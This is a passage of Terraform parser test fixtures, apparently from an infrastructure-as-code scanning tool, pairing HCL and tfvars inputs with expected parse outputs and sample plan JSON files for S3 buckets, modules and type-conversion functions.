} ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/module_simple/expected.json ================================================ { "{\"file_path\": \"main.tf\", \"tf_source_modules\": null}": { "module": [ { "bucket": { "source": ["./bucket"], "__resolved__": ["{\"file_path\": \"bucket/bucket.tf\", \"tf_source_modules\": {\"path\": \"main.tf\", \"name\": \"bucket\", \"foreach_idx\": null, \"nested_tf_module\": null}}"], "__start_line__": 1, "__end_line__": 3, "__address__": "bucket" } } ] }, "{\"file_path\": \"bucket/bucket.tf\", \"tf_source_modules\": {\"path\": \"main.tf\", \"name\": \"bucket\", \"foreach_idx\": null, \"nested_tf_module\": null}}": { "resource": [ { "aws_s3_bucket": { "mybucket": { "bucket": ["MyBucket"], "__start_line__": 1, "__end_line__": 3, "__address__": "module.bucket.aws_s3_bucket.mybucket" } } } ] } } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/module_simple/main.tf ================================================ module "bucket" { source = "./bucket" } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/module_simple_up_dir_ref/bucket/bucket.tf ================================================ resource "aws_s3_bucket" "mybucket" { bucket = "MyBucket" } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/module_simple_up_dir_ref/expected.json ================================================ { "{\"file_path\": \"tf/main.tf\", \"tf_source_modules\": null}": { "module": [ { "bucket": { "source": ["../bucket"], "__resolved__": ["{\"file_path\": \"bucket/bucket.tf\", \"tf_source_modules\": {\"path\": \"tf/main.tf\", \"name\": \"bucket\", \"foreach_idx\": null, \"nested_tf_module\": null}}"], "__start_line__": 1, "__end_line__": 3, "__address__": "bucket" } } ] }, "{\"file_path\": \"bucket/bucket.tf\", \"tf_source_modules\": {\"path\": \"tf/main.tf\", \"name\": \"bucket\", \"foreach_idx\": null, \"nested_tf_module\": null}}": { "resource": [ { "aws_s3_bucket": { "mybucket": { "bucket": ["MyBucket"], "__start_line__": 1, "__end_line__": 3, "__address__": "module.bucket.aws_s3_bucket.mybucket" } } } ] } } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/module_simple_up_dir_ref/tf/main.tf ================================================ module "bucket" { source = "../bucket" } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/nested_modules_instances_enable/expected.json ================================================ { "{\"file_path\": \"/tf_module/main.tf\", \"tf_source_modules\": null}": { "module": [ { "s3_module": { "__end_line__": 9, "__resolved__": [ "{\"file_path\": \"/tf_module/module/main.tf\", \"tf_source_modules\": {\"path\": \"/tf_module/main.tf\", \"name\": \"s3_module\", \"foreach_idx\": null, \"nested_tf_module\": null}}", "{\"file_path\": \"/tf_module/module/variable.tf\", \"tf_source_modules\": {\"path\": \"/tf_module/main.tf\", \"name\": \"s3_module\", \"foreach_idx\": null, \"nested_tf_module\": null}}" ], "__start_line__": 5, "bucket": [ "${aws_s3_bucket.example.id}" ], "source": [ "./module" ] } }, { "s3_module2": { "__end_line__": 15, "__resolved__": [ "{\"file_path\": \"/tf_module/module/main.tf\", \"tf_source_modules\": {\"path\": \"/tf_module/main.tf\", \"name\": \"s3_module2\", \"foreach_idx\": null, \"nested_tf_module\": null}}", "{\"file_path\": \"/tf_module/module/variable.tf\", \"tf_source_modules\": {\"path\": \"/tf_module/main.tf\", \"name\": \"s3_module2\", \"foreach_idx\": null, \"nested_tf_module\": null}}" ], "__start_line__": 11, "bucket": [ "${aws_s3_bucket.example2.id}" ], "source": [ "./module" ] } } ], "provider": [ { "aws": { "__end_line__": 3, "__start_line__": 1, "region": [ "us-west-2" ] } } ], "resource": [ { "aws_s3_bucket": { "example": { "__end_line__": 19, "__start_line__": 17, "bucket": [ "example" ] } } }, { "aws_s3_bucket": { "example2": { "__end_line__": 23, "__start_line__": 21, "bucket": [ "example" ] } } } ] }, "{\"file_path\": \"/tf_module/module/main.tf\", \"tf_source_modules\": {\"path\": \"/tf_module/main.tf\", \"name\": \"s3_module\", \"foreach_idx\": null, \"nested_tf_module\": null}}": { "module": [ { "inner_s3_module": { "__end_line__": 4, "__resolved__": [ "{\"file_path\": \"/tf_module/module/module2/main.tf\", \"tf_source_modules\": {\"path\": \"/tf_module/module/main.tf\", \"name\": \"inner_s3_module\", \"foreach_idx\": null, \"nested_tf_module\": {\"path\": \"/tf_module/main.tf\", \"name\": \"s3_module\", \"foreach_idx\": null, \"nested_tf_module\": null}}}", "{\"file_path\": \"/tf_module/module/module2/variable.tf\", \"tf_source_modules\": {\"path\": \"/tf_module/module/main.tf\", \"name\": \"inner_s3_module\", \"foreach_idx\": null, \"nested_tf_module\": {\"path\": \"/tf_module/main.tf\", \"name\": \"s3_module\", \"foreach_idx\": null, \"nested_tf_module\": null}}}" ], "__start_line__": 1, "bucket2": [ "${var.bucket}" ], "source": [ "./module2" ] } } ] }, "{\"file_path\": \"/tf_module/module/main.tf\", \"tf_source_modules\": {\"path\": \"/tf_module/main.tf\", \"name\": \"s3_module2\", \"foreach_idx\": null, \"nested_tf_module\": null}}": { "module": [ { "inner_s3_module": { "__end_line__": 4, "__resolved__": [ "{\"file_path\": \"/tf_module/module/module2/main.tf\", \"tf_source_modules\": {\"path\": \"/tf_module/module/main.tf\", \"name\": \"inner_s3_module\", \"foreach_idx\": null, \"nested_tf_module\": {\"path\": \"/tf_module/main.tf\", \"name\": \"s3_module2\", \"foreach_idx\": null, \"nested_tf_module\": null}}}", "{\"file_path\": \"/tf_module/module/module2/variable.tf\", \"tf_source_modules\": {\"path\": \"/tf_module/module/main.tf\", \"name\": \"inner_s3_module\", \"foreach_idx\": null, \"nested_tf_module\": {\"path\": \"/tf_module/main.tf\", \"name\": \"s3_module2\", \"foreach_idx\": null, \"nested_tf_module\": null}}}" ], "__start_line__": 1, "bucket2": [ "${var.bucket}" ], "source": [ "./module2" ] } } ] }, "{\"file_path\": \"/tf_module/module/module2/main.tf\", \"tf_source_modules\": {\"path\": \"/tf_module/module/main.tf\", \"name\": \"inner_s3_module\", \"foreach_idx\": null, \"nested_tf_module\": {\"path\": \"/tf_module/main.tf\", \"name\": \"s3_module\", \"foreach_idx\": null, \"nested_tf_module\": null}}}": { "locals": [ { "__end_line__": 3, "__start_line__": 1, "bucket2": [ "${var.bucket2}" ] } ], "resource": [ { "aws_s3_bucket_public_access_block": { "var_bucket": { "__end_line__": 11, "__start_line__": 5, "block_public_acls": [ true ], "block_public_policy": [ true ], "bucket": [ "${local.bucket2}" ], "ignore_public_acls": [ true ], "restrict_public_buckets": [ true ] } } } ] }, "{\"file_path\": \"/tf_module/module/module2/main.tf\", \"tf_source_modules\": {\"path\": \"/tf_module/module/main.tf\", \"name\": \"inner_s3_module\", \"foreach_idx\": null, \"nested_tf_module\": {\"path\": \"/tf_module/main.tf\", \"name\": \"s3_module2\", \"foreach_idx\": null, \"nested_tf_module\": null}}}": { "locals": [ { "__end_line__": 3, "__start_line__": 1, "bucket2": [ "${var.bucket2}" ] } ], "resource": [ { "aws_s3_bucket_public_access_block": { "var_bucket": { "__end_line__": 11, "__start_line__": 5, "block_public_acls": [ true ], "block_public_policy": [ true ], "bucket": [ "${local.bucket2}" ], "ignore_public_acls": [ true ], "restrict_public_buckets": [ true ] } } } ] }, "{\"file_path\": \"/tf_module/module/module2/variable.tf\", \"tf_source_modules\": {\"path\": \"/tf_module/module/main.tf\", \"name\": \"inner_s3_module\", \"foreach_idx\": null, \"nested_tf_module\": {\"path\": \"/tf_module/main.tf\", \"name\": \"s3_module\", \"foreach_idx\": null, \"nested_tf_module\": null}}}": { "variable": [ { "bucket2": { "__end_line__": 3, "__start_line__": 1, "type": [ "${string}" ] } } ] }, "{\"file_path\": \"/tf_module/module/module2/variable.tf\", \"tf_source_modules\": {\"path\": \"/tf_module/module/main.tf\", \"name\": \"inner_s3_module\", \"foreach_idx\": null, \"nested_tf_module\": {\"path\": \"/tf_module/main.tf\", \"name\": \"s3_module2\", \"foreach_idx\": null, \"nested_tf_module\": null}}}": { "variable": [ { "bucket2": { "__end_line__": 3, "__start_line__": 1, "type": [ "${string}" ] } } ] }, "{\"file_path\": \"/tf_module/module/variable.tf\", \"tf_source_modules\": {\"path\": \"/tf_module/main.tf\", \"name\": \"s3_module\", \"foreach_idx\": null, \"nested_tf_module\": null}}": { "variable": [ { "bucket": { "__end_line__": 3, "__start_line__": 1, "type": [ "${string}" ] } } ] }, "{\"file_path\": \"/tf_module/module/variable.tf\", \"tf_source_modules\": {\"path\": \"/tf_module/main.tf\", \"name\": \"s3_module2\", \"foreach_idx\": null, \"nested_tf_module\": null}}": { "variable": [ { "bucket": { "__end_line__": 3, "__start_line__": 1, "type": [ "${string}" ] } } ] } } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/nested_modules_instances_enable/tf_module/main.tf ================================================ provider "aws" { region = "us-west-2" } module "s3_module" { source = "./module" bucket = aws_s3_bucket.example.id } module "s3_module2" { source = "./module" bucket = aws_s3_bucket.example2.id } resource "aws_s3_bucket" "example" { bucket = "example" } resource "aws_s3_bucket" "example2" { bucket = "example" } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/nested_modules_instances_enable/tf_module/module/main.tf ================================================ module "inner_s3_module" { source = "./module2" bucket2 = var.bucket } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/nested_modules_instances_enable/tf_module/module/module2/main.tf ================================================ locals { bucket2 = var.bucket2 } resource "aws_s3_bucket_public_access_block" "var_bucket" { bucket = local.bucket2 block_public_acls = true block_public_policy = true ignore_public_acls = true restrict_public_buckets = true } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/nested_modules_instances_enable/tf_module/module/module2/variable.tf ================================================ variable "bucket2" { type = string } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/nested_modules_instances_enable/tf_module/module/variable.tf ================================================ variable "bucket" { type = string } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/null_variables_651/expected.json ================================================ { "main.tf": { "resource": [ { "aws_cloudfront_distribution": { "cf_dis": { "enabled": [true] } } }, { "aws_s3_bucket": { "website_bucket": {} } } ], "variable": [ { "logging_include_cookies": { "type": ["bool"], "description": ["Whether to enable cookies in access logging"] } }, { "logging_bucket_id": { "type": ["string"], "description": ["The bucket ID where to store access logs"] } }, { "logging_bucket_prefix": { "type": ["string"], "description": ["The prefix where to store access logs"] } }, { "versioning": {} } ] } } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/null_variables_651/main.tf ================================================ variable "logging_include_cookies" { type = bool description = "Whether to enable cookies in access logging" default = null } variable "logging_bucket_id" { type = string description = "The bucket ID where to store access logs" default = null } variable "logging_bucket_prefix" { type = string description = "The prefix where to store access logs" default = null } resource "aws_cloudfront_distribution" "cf_dis" { enabled = true logging_config { include_cookies = var.logging_include_cookies bucket = var.logging_bucket_id prefix = var.logging_bucket_prefix } } resource "aws_s3_bucket" "website_bucket" { versioning { enabled = var.versioning } } variable "versioning" { default = null } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/simple_bucket_single_file/expected.json ================================================ { "{\"file_path\": \"main.tf\", \"tf_source_modules\": null}": { "resource": [ { "aws_s3_bucket": { "test": { "bucket": [ "my-test-bucket" ], "__start_line__": 1, "__end_line__": 3, "__address__": "aws_s3_bucket.test" } } } ] } } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/simple_bucket_single_file/main.tf ================================================ resource "aws_s3_bucket" "test" { bucket = "my-test-bucket" } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/ternaries/expected.json ================================================ { "{\"file_path\": \"main.tf\", \"tf_source_modules\": null}": { "locals": [ { "a": ["a"], "b": ["b"], "empty": [""], "bool_true": ["correct"], "bool_false": ["correct"], "type": ["bool"], "default": [true] } ] } } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/ternaries/main.tf ================================================ locals { a = "a" b = "b" empty = "" bool_true = true ? "correct" : "wrong" bool_false = false ? "wrong" : "correct" // local_true = true // TODO: HCL2 parser doesn't like the following line // multiline = (local.local_true) ? // "correct" : "wrong" // TODO: See test_hcl2_load_assumptions.py -> test_weird_ternary_string_clipping // Doesn't currently pull the ternary correctly since it's evaluated inside the string. // bool_string_true = "true" ? "correct" : "wrong" // bool_string_false = "false" ? "wrong" : "correct" // TODO: Comparison cases... // compare_string_true = "a" == "a" ? "correct" : "wrong" // compare_string_false = "a" != "a" ? "wrong" : "correct" // // compare_num_true = 1 == 1 ? "correct" : "wrong" // compare_num_false = 1 != 1 ? "correct" : "wrong" // // # NOTE: I don't think evals in locals is valid in TF, but the parser will eval it // default_not_taken = local.a != "" ? local.a : "default value" // default_taken = local.empty != "" ? local.a : "default value" type = bool default = true } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/ternary_793/expected.json ================================================ { "{\"file_path\": \"main.tf\", \"tf_source_modules\": null}": { "variable": [ { "metadata_http_tokens_required": { "type": ["bool"], "default": [true], "description": ["Whether or not the metadata service requires session tokens"], "__start_line__": 1, "__end_line__": 5, "__address__": "metadata_http_tokens_required" } } ], "resource": [ { "aws_instance": { "foo": { "ami": ["ami-005e54dee72cc1d00"], "instance_type": ["t2.micro"], "root_block_device": [ { "encrypted": [true] } ], "metadata_options": [ { "http_tokens": ["required"] } ], "__start_line__": 7, "__end_line__": 18, "__address__": "aws_instance.foo" } } } ] } } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/ternary_793/main.tf ================================================ variable "metadata_http_tokens_required" { type = bool default = true description = "Whether or not the metadata service requires session tokens" } resource "aws_instance" "foo" { ami = "ami-005e54dee72cc1d00" # us-west-2 instance_type = "t2.micro" root_block_device { encrypted = true } metadata_options { http_tokens = (var.metadata_http_tokens_required) ? "required" : "optional" } } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/tfvars/expected.json ================================================ { "{\"file_path\": \"main.tf\", \"tf_source_modules\": null}": { "variable": [ { "foo": { "__start_line__": 1, "__end_line__": 1, "__address__": "foo" } }, { "list_data": { "__start_line__": 2, "__end_line__": 2, "__address__": "list_data" } }, { "map_data": { "__start_line__": 3, "__end_line__": 3, "__address__": "map_data" } } ], "resource": [ { "aws_s3_bucket": { "my_bucket": { "bucket": [ "hello-nimrodIsCöoler-${nine}-${dev}-abc-xyz-qwerty" ], "__start_line__": 17, "__end_line__": 19, "__address__": "aws_s3_bucket.my_bucket" } } } ] } } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/tfvars/main.tf ================================================ variable "foo" {} variable "list_data" {} variable "map_data" {} variable "only_here" { default = "hello" } variable "other_var_1" { default = "abc" } variable "other_var_2" { default = "abc" } variable "other_var_3" { default = "abc" } resource "aws_s3_bucket" "my_bucket" { bucket = "${var.only_here}-${var.foo}-${var.list_data[0]}-${var.map_data[stage]}-${var.other_var_1}-${var.other_var_2}-${var.other_var_3}" } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/tfvars/other1.tfvars ================================================ other_var_1 = "xyz" ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/tfvars/other2.tfvars ================================================ other_var_2 = "xyz" foo = "nimrodIsCöol" ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/tfvars/other3.tfvars ================================================ other_var_3 = "qwerty" foo = "nimrodIsCöoler" ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/tfvars/terraform.tfvars ================================================ foo = "fü" list_data = [ "one", "two" ] map_data = { namespace = "customer" stage = "dev" name = "app" } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/tfvars/x.auto.tfvars ================================================ foo = "bär" list_data = [ "seven", "eight" ] ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/tfvars/y.auto.tfvars ================================================ foo = "fäz" list_data = [ "nine", "ten" ] ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/tfvars_outside_dir/expected.json ================================================ { "{\"file_path\": \"main.tf\", \"tf_source_modules\": null}": { "resource": [ { "aws_s3_bucket": { "my_bucket": { "bucket": [ "xyz" ], "__start_line__": 5, "__end_line__": 7, "__address__": "aws_s3_bucket.my_bucket" } } } ] } } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/tfvars_outside_dir/main.tf ================================================ variable "other_var_1" { default = "abc" } resource "aws_s3_bucket" "my_bucket" { bucket = "${var.other_var_1}" } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/tobool_function/expected.json ================================================ { "{\"file_path\": \"main.tf\", \"tf_source_modules\": null}": { "locals": [ { "RAW_T": [true], "STRING_T": [true], "RAW_F": [false], "STRING_F": [false], "JUNK": ["${tobool(\"invalid\")}"] } ] } } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/tobool_function/main.tf ================================================ locals { RAW_T = tobool(true) STRING_T = tobool("true") RAW_F = tobool(false) STRING_F = tobool("false") JUNK = tobool("invalid") } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/tolist_function/expected.json ================================================ { "{\"file_path\": \"main.tf\", \"tf_source_modules\": null}": { "locals": [ { "VAR": [ [ "a", "b", "c" ] ] } ] } } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/tolist_function/main.tf ================================================ locals { VAR = tolist(["a", "b", "c"]) } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/tomap_function/expected.json ================================================ { "main.tf": { "locals": [ { "INTS": [ { "a": 1, "b": 2 } ], "FLOATS": [ { "a": 1.1, "b": 2.2 } ], "STRINGS": [ { "a": "one", "b": "two" } ], "BOOLS": [ { "a": true, "b": false } ], "MIXED_BOOL": [ { "a": "foo", "b": "true" } ], "MIXED_FLOAT": [ { "a": "foo", "b": "1.2" } ] } ] } } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/tomap_function/main.tf ================================================ locals { INTS = tomap({"a" = 1, "b" = 2}) FLOATS = tomap({"a" = 1.1, "b" = 2.2}) STRINGS = tomap({"a" = "one", "b" = "two"}) BOOLS = tomap({"a" = true, "b" = false}) MIXED_BOOL = tomap({"a" = "foo", "b" = true}) MIXED_FLOAT = tomap({"a" = "foo", "b" = 1.2}) } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/tonumber_function/expected.json ================================================ { "{\"file_path\": \"main.tf\", \"tf_source_modules\": null}": { "locals": [ { "NUM": [1], "FLOAT": [3.14], "STRING": [1], "INVALID": ["${tonumber(\"no\")}"] } ] } } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/tonumber_function/main.tf ================================================ locals { NUM = tonumber(1) FLOAT = tonumber(3.14) STRING = tonumber("1") INVALID = tonumber("no") } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/toset_function/expected.json ================================================ { "{\"file_path\": \"main.tf\", \"tf_source_modules\": null}": { "locals": [ { "VAR": [ [ "__this_is_a_set__", "a", "b", "c" ] ] } ] } } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/toset_function/main.tf ================================================ locals { VAR = toset(["a", "b", "c"]) } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/tostring_function/expected.json ================================================ { "{\"file_path\": \"main.tf\", \"tf_source_modules\": null}": { "locals": [ { "NUM": ["1"], "STRING": ["a string"], "INVALID_ARRAY": ["${tostring([])}"], "INNER_CURLY": ["annoying {"] } ] } } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/tostring_function/main.tf ================================================ locals { NUM = tostring(1) STRING = tostring("a string") # NOTE: These cases should keep the values as string, but they are currently (2020-11-15) converted to # boolean values. This is caused by the str->bool translation happening on a second loop. (The first # correctly converts to a str, the second translates to a bool.) # Desired expected: # "TRUE": ["true"], # "FALSE": ["false"], # Actual is currently: # "TRUE": [true], # "FALSE": [false], # TRUE = tostring("true") # FALSE = tostring("false") INVALID_ARRAY = tostring([]) INNER_CURLY = tostring("annoying {") } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/variable_defaults/eval.json ================================================ { "name_doesnt_matter.tf": { "BUCKET_NAME": { "var_file": "name_doesnt_matter.tf", "value": "this-is-my-default", "definitions": [ { "definition_name": "BUCKET_NAME", "definition_expression": "${var.BUCKET_NAME}", "definition_path": "resource/0/aws_s3_bucket/test/bucket/0" } ] } } } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/variable_defaults/expected.json ================================================ { "{\"file_path\": \"name_doesnt_matter.tf\", \"tf_source_modules\": null}": { "resource": [ { "aws_s3_bucket": { "test": { "bucket": [ "this-is-my-default" ], "__start_line__": 6, "__end_line__": 8, "__address__": "aws_s3_bucket.test" } } } ], "variable": [ { "BUCKET_NAME": { "type": ["string"], "default": ["this-is-my-default"], "__start_line__": 1, "__end_line__": 4, "__address__": "BUCKET_NAME" } } ] } } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/variable_defaults/name_doesnt_matter.tf ================================================ variable "BUCKET_NAME" { type = string default = "this-is-my-default" } resource "aws_s3_bucket" "test" { bucket = var.BUCKET_NAME } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/variable_defaults_separate_files/eval.json ================================================ { "main.tf": { "BUCKET_NAME": { "var_file": "variables.tf", "value": "this-is-my-default", "definitions": [ { "definition_name": "BUCKET_NAME", "definition_expression": "${var.BUCKET_NAME}", "definition_path": "resource/0/aws_s3_bucket/test/bucket/0" } ] } } } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/variable_defaults_separate_files/expected.json ================================================ { "{\"file_path\": \"main.tf\", \"tf_source_modules\": null}": { "resource": [ { "aws_s3_bucket": { "test": { "bucket": [ "this-is-my-default" ], "__start_line__": 1, "__end_line__": 3, "__address__": "aws_s3_bucket.test" } } } ] }, "{\"file_path\": \"variables.tf\", \"tf_source_modules\": null}": { "variable": [ { "BUCKET_NAME": { "type": ["string"], "default": ["this-is-my-default"], "__start_line__": 1, "__end_line__": 4, "__address__": "BUCKET_NAME" } } ] } } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/variable_defaults_separate_files/main.tf ================================================ resource "aws_s3_bucket" "test" { bucket = var.BUCKET_NAME } ================================================ FILE: tests/terraform/parser/resources/parser_scenarios/variable_defaults_separate_files/variables.tf ================================================ variable "BUCKET_NAME" { type = string default = "this-is-my-default" } ================================================ FILE: tests/terraform/parser/resources/parser_tfvars/main.tf ================================================ variable "other_var_2" { default = "abc" } resource "aws_s3_bucket" "my_bucket" { bucket = "${var.other_var_2}" } ================================================ FILE: tests/terraform/parser/resources/parser_tfvars/other.tfvars ================================================ other_var_2 = "xyz" foo = "nimrodIsCöol" ================================================ FILE: tests/terraform/parser/resources/plan_after_unknown/tfplan.json ================================================ { "format_version": "1.0", "terraform_version": "1.1.3", "planned_values": { "root_module": { "resources": [ { "address": "aws_cloudfront_distribution.cloudfront", "mode": "managed", "type": "aws_cloudfront_distribution", "name": "cloudfront", "provider_name": "registry.terraform.io/hashicorp/aws", "schema_version": 1, "values": { "logging_config": [ { "include_cookies": false, "prefix": "cloudfront" } ] } } ] } }, "resource_changes": [ { "address": "aws_cloudfront_distribution.cloudfront", "mode": "managed", "type": "aws_cloudfront_distribution", "name": "cloudfront", "provider_name": "registry.terraform.io/hashicorp/aws", "change": { "actions": [ "create" ], "before": null, "after": null, "after_unknown": { "logging_config": [ { "bucket": true } ] } } } ] } ================================================ FILE: tests/terraform/parser/resources/plan_booleans/tfplan.json ================================================ { "format_version": "1.0", "terraform_version": "1.1.3", "planned_values": { "root_module": { "resources": [ { "address": "google_compute_instance.default", "mode": "managed", "type": "google_compute_instance", "name": "default", "provider_name": "registry.terraform.io/hashicorp/google", "schema_version": 6, "values": { "advanced_machine_features": [], "allow_stopping_for_update": null, "attached_disk": [], "boot_disk": [ { "auto_delete": true, "disk_encryption_key_raw": null, "initialize_params": [ { "image": "debian-cloud/debian-9" } ], "mode": "READ_WRITE" } ], "can_ip_forward": false, "deletion_protection": false, "description": null, "desired_status": null, "enable_display": null, "hostname": null, "labels": null, "machine_type": "e2-medium", "metadata": { "a": "true", "b": "True", "c": "false", "d": "False" }, "metadata_startup_script": "echo hi > /test.txt", "name": "test", "network_interface": [ { "access_config": [ { "public_ptr_domain_name": null } ], "alias_ip_range": [], "ipv6_access_config": [], "network": "default", "nic_type": null, "queue_count": null } ], "resource_policies": null, "scratch_disk": [ { "interface": "SCSI" } ], "service_account": [ { "scopes": [ "https://www.googleapis.com/auth/cloud-platform" ] } ], "shielded_instance_config": [], "tags": [ "bar", "foo" ], "timeouts": null, "zone": "us-central1-c" }, "sensitive_values": { "advanced_machine_features": [], "attached_disk": [], "boot_disk": [ { "initialize_params": [ { "labels": {} } ] } ], "confidential_instance_config": [], "guest_accelerator": [], "metadata": {}, "network_interface": [ { "access_config": [ {} ], "alias_ip_range": [], "ipv6_access_config": [] } ], "reservation_affinity": [], "scheduling": [], "scratch_disk": [ {} ], "service_account": [ { "scopes": [ false ] } ], "shielded_instance_config": [], "tags": [ false, false ] } }, { "address": "google_service_account.default", "mode": "managed", "type": "google_service_account", "name": "default", "provider_name": "registry.terraform.io/hashicorp/google", "schema_version": 0, "values": { "account_id": "abc123", "description": null, "disabled": false, "display_name": "Service Account", "timeouts": null }, "sensitive_values": {} } ] } }, "resource_changes": [ { "address": "google_compute_instance.default", "mode": "managed", "type": "google_compute_instance", "name": "default", "provider_name": "registry.terraform.io/hashicorp/google", "change": { "actions": [ "create" ], "before": null, "after": { "advanced_machine_features": [], "allow_stopping_for_update": null, "attached_disk": [], "boot_disk": [ { "auto_delete": true, "disk_encryption_key_raw": null, "initialize_params": [ { "image": "debian-cloud/debian-9" } ], "mode": "READ_WRITE" } ], "can_ip_forward": false, "deletion_protection": false, "description": null, "desired_status": null, "enable_display": null, "hostname": null, "labels": null, "machine_type": "e2-medium", "metadata": { "a": "true", "b": "True", "c": "false", "d": "False" }, "metadata_startup_script": "echo hi > /test.txt", "name": "test", "network_interface": [ { "access_config": [ { "public_ptr_domain_name": null } ], "alias_ip_range": [], "ipv6_access_config": [], "network": "default", "nic_type": null, "queue_count": null } ], "resource_policies": null, "scratch_disk": [ { "interface": "SCSI" } ], "service_account": [ { "scopes": [ "https://www.googleapis.com/auth/cloud-platform" ] } ], "shielded_instance_config": [], "tags": [ "bar", "foo" ], "timeouts": null, "zone": "us-central1-c" }, "after_unknown": { "advanced_machine_features": [], "attached_disk": [], "boot_disk": [ { "device_name": true, "disk_encryption_key_sha256": true, "initialize_params": [ { "labels": true, "size": true, "type": true } ], "kms_key_self_link": true, "source": true } ], "confidential_instance_config": true, "cpu_platform": true, "current_status": true, "guest_accelerator": true, "id": true, "instance_id": true, "label_fingerprint": true, "metadata": {}, "metadata_fingerprint": true, "min_cpu_platform": true, "network_interface": [ { "access_config": [ { "nat_ip": true, "network_tier": true } ], "alias_ip_range": [], "ipv6_access_config": [], "ipv6_access_type": true, "name": true, "network_ip": true, "stack_type": true, "subnetwork": true, "subnetwork_project": true } ], "project": true, "reservation_affinity": true, "scheduling": true, "scratch_disk": [ {} ], "self_link": true, "service_account": [ { "email": true, "scopes": [ false ] } ], "shielded_instance_config": [], "tags": [ false, false ], "tags_fingerprint": true }, "before_sensitive": false, "after_sensitive": { "advanced_machine_features": [], "attached_disk": [], "boot_disk": [ { "disk_encryption_key_raw": true, "initialize_params": [ { "labels": {} } ] } ], "confidential_instance_config": [], "guest_accelerator": [], "metadata": {}, "network_interface": [ { "access_config": [ {} ], "alias_ip_range": [], "ipv6_access_config": [] } ], "reservation_affinity": [], "scheduling": [], "scratch_disk": [ {} ], "service_account": [ { "scopes": [ false ] } ], "shielded_instance_config": [], "tags": [ false, false ] } } }, { "address": "google_service_account.default", "mode": "managed", "type": "google_service_account", "name": "default", "provider_name": "registry.terraform.io/hashicorp/google", "change": { "actions": [ "create" ], "before": null, "after": { "account_id": "abc123", "description": null, "disabled": false, "display_name": "Service Account", "timeouts": null }, "after_unknown": { "email": true, "id": true, "name": true, "project": true, "unique_id": true }, "before_sensitive": false, "after_sensitive": {} } } ], "configuration": { "provider_config": { "google": { "name": "google", "expressions": { "project": { "constant_value": "test" }, "region": { "constant_value": "europe-west2" }, "zone": { "constant_value": "europe-west2-c" } } } }, "root_module": { "resources": [ { "address": "google_compute_instance.default", "mode": "managed", "type": "google_compute_instance", "name": "default", "provider_config_key": "google", "expressions": { "boot_disk": [ { "initialize_params": [ { "image": { "constant_value": "debian-cloud/debian-9" } } ] } ], "machine_type": { "constant_value": "e2-medium" }, "metadata": { "constant_value": { "block-project-ssh-keys": true } }, "metadata_startup_script": { "constant_value": "echo hi > /test.txt" }, "name": { "constant_value": "test" }, "network_interface": [ { "access_config": [ {} ], "network": { "constant_value": "default" } } ], "scratch_disk": [ { "interface": { "constant_value": "SCSI" } } ], "service_account": [ { "email": { "references": [ "google_service_account.default.email", "google_service_account.default" ] }, "scopes": { "constant_value": [ "cloud-platform" ] } } ], "tags": { "constant_value": [ "foo", "bar" ] }, "zone": { "constant_value": "us-central1-c" } }, "schema_version": 6 }, { "address": "google_service_account.default", "mode": "managed", "type": "google_service_account", "name": "default", "provider_config_key": "google", "expressions": { "account_id": { "constant_value": "abc123" }, "display_name": { "constant_value": "Service Account" } }, "schema_version": 0 } ] } } } ================================================ FILE: tests/terraform/parser/resources/plan_encodings/tfplan_mac_utf8.json ================================================ { "format_version": "0.1", "terraform_version": "0.15.5", "planned_values": { "root_module": { "resources": [ { "address": "aws_s3_bucket.b", "mode": "managed", "type": "aws_s3_bucket", "name": "b", "provider_name": "registry.terraform.io/hashicorp/aws", "schema_version": 0, "values": { "bucket": "mikeabcd123-abc", "bucket_prefix": null, "force_destroy": false, "tags": null } } ] } }, "resource_changes": [ { "address": "aws_s3_bucket.b", "mode": "managed", "type": "aws_s3_bucket", "name": "b", "provider_name": "registry.terraform.io/hashicorp/aws", "change": { "actions": [ "create" ], "before": null, "after": { "bucket": "mikeabcd123-abc", "bucket_prefix": null, "force_destroy": false, "tags": null }, "after_unknown": { "acceleration_status": true, "acl": true, "arn": true, "bucket_domain_name": true, "bucket_regional_domain_name": true, "cors_rule": true, "grant": true, "hosted_zone_id": true, "id": 